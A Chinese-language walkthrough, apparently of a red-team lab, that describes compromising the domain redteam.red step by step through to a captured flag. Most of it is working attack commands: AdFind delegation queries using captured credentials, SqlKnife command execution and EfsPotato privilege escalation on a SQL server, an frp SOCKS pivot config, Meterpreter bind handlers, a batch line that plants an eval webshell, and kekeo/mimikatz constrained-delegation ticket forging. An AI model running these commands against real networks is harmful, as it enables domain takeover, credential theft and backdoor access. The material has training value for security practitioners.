域渗透
先做本机信息收集,win7系统,另一张网卡 10.10.10.0/24,存在域 redteam.red,没什么补丁,探测一下域环境。然而现在是 system 权限不在域中,考虑用 msf 的 steal_token 实现降权,重新反弹一个 shell 到 CS 中。

继续利用 CS 进行域信息收集,域控 10.10.10.8,域管理员 administrator,还有一台 sqlserver 机器。

考虑打域控的几种思路:
- 抓密码或 dump 密码,但运行 mimikatz 只能看到 saul 的密码,利用价值不大。
- 尝试令牌窃取,但 ps 中没有域控进程,遂放弃
- 已有漏洞,如 zerologon 的重置密码等
- 委派,先打其他主机
- 待补充,但可参考 https://github.com/infosecn1nja/AD-Attack-Defense
这里尝试通过委派打其他主机,其他方式见坑4。
传一个 Adfind 上去,查找一下配置了委派的用户
查询配置了非约束委派的主机:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查询配置了非约束委派的用户:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查询配置了约束委派的主机:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
查询配置了约束委派的用户:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
非约束主机:sqlserver 和 域控

非约束用户:saulgoodman

约束委派用户:sqlserver

考虑到非约束委派在实战中需要被域管访问,比较鸡肋(不鸡肋的打法见坑5)
这里用约束委派攻击,但首先要拿下 sqlserver 这台机器,传个 fscan 做一下端口扫描。
shell fscan64.exe -np -h 10.10.10.0/24
80没东西,爆破一下1443 的 sa 用户,密码 sa,传个工具进行连接,这里选用的是 SqlKnife
shell SqlKnife.exe -H 10.10.10.18 -P 1433 -u sa -p sa --xpcmd -c whoami

但只是个数据库权限,要想办法提权,但现在这个 shell 很难用,记起来还有个 web 服务,考虑在 web 服务器目录下写shell,但权限太小遂放弃。
最后用 EfsPotato 提权成功
shell SqlKnife.exe -H 10.10.10.18 -P 1433 -u sa -p sa --dbup2 --3 --fix
shell SqlKnife.exe -H 10.10.10.18 -P 1433 -u sa -p sa --dbup2 -c whoami

这就是拿到一个 system 权限了。
但很鸡肋执行起来有各种问题,在这里卡了好久也没有合适的攻击方法,最终还是又用了 frp 搭了一层代理,让最外层的 kali 能直接访问 10.10.10.0/24。
frpc.ini
[common]
server_addr = 10.10.20.12
server_port = 9000
[plugin_socks]
type = tcp
remote_port = 9999
plugin = socks5
frps.ini
[common]
bind_addr =0.0.0.0
bind_port = 9000
然后在 kali 的 proxychains4的 配置文件如下:

直接挂代理起 msf,用 exploit/windows/mssql/mssql_clr_payload 模块之间打(注意设用户密码)
用拿下的 win7 做中继,用 CS 生成马,通过 meterpreter 传上去,要注意这里存在权限问题,所以选了这个可读可写可执行的目录。

也可以直接用 https://github.com/RowTeam/SharpSQLTools/ 带GUI界面执行文件。
但不知道为什么一直没办法反弹到 cs 上,(或许不能弹中继的中继?)
最后还是用 msf 生成正向 shell 的马传到 sqlserver 上,再用 再用 EfsPotato 提权后去执行,得到一个 system 权限的 meterpreter。(其实这里用 CS 的 beacon_tcp 也可以实现正向连接)
msf监听:
handler -p windows/x64/meterpreter/bind_tcp -H 10.10.10.18 -P 30003
cs 跳板机正向连接
connect 10.10.10.18 30004
或者先在用 msf 写一个 bat,再用 EfsPotato 提权后去执行(这个 system 不能写只能执行),向 80 端口中写一个 webshell 连接上

shell.bat:
echo ^<%%^@Page Language^=^"Jscript^"%%^>^<%%eval^(Request^.Item^[^"saul^"^]^,^"unsafe^"^)^;%%^> > c:\inetpub\wwwroot\1.aspx
连上 webshell 之后就要想办法提权了
查询当前系统缺失的常见可用于提权的补丁:
systeminfo > micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a micropoor.txt
(坑。。。。。。具体试了几个都有各种限制)
总而言之拿到了一个 msf 的 system 的shell,可以继续约束委派攻击了。
先抓一波密码:

这里的 sqlserver 是配置了约束委派的用户,降权到 sqlserver,传一个 kekeo 继续攻击
请求用户的 TGT
kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi" > 1.txt
用生成的 TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi 获取域机器的 ST:
kekeo.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red" > 2.txt
最后用 mimikatz 将 ST2 导入当前会话
mimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi
此时已经和域控建立了 ipc 会话,可以直接远程查看

拿到 flag。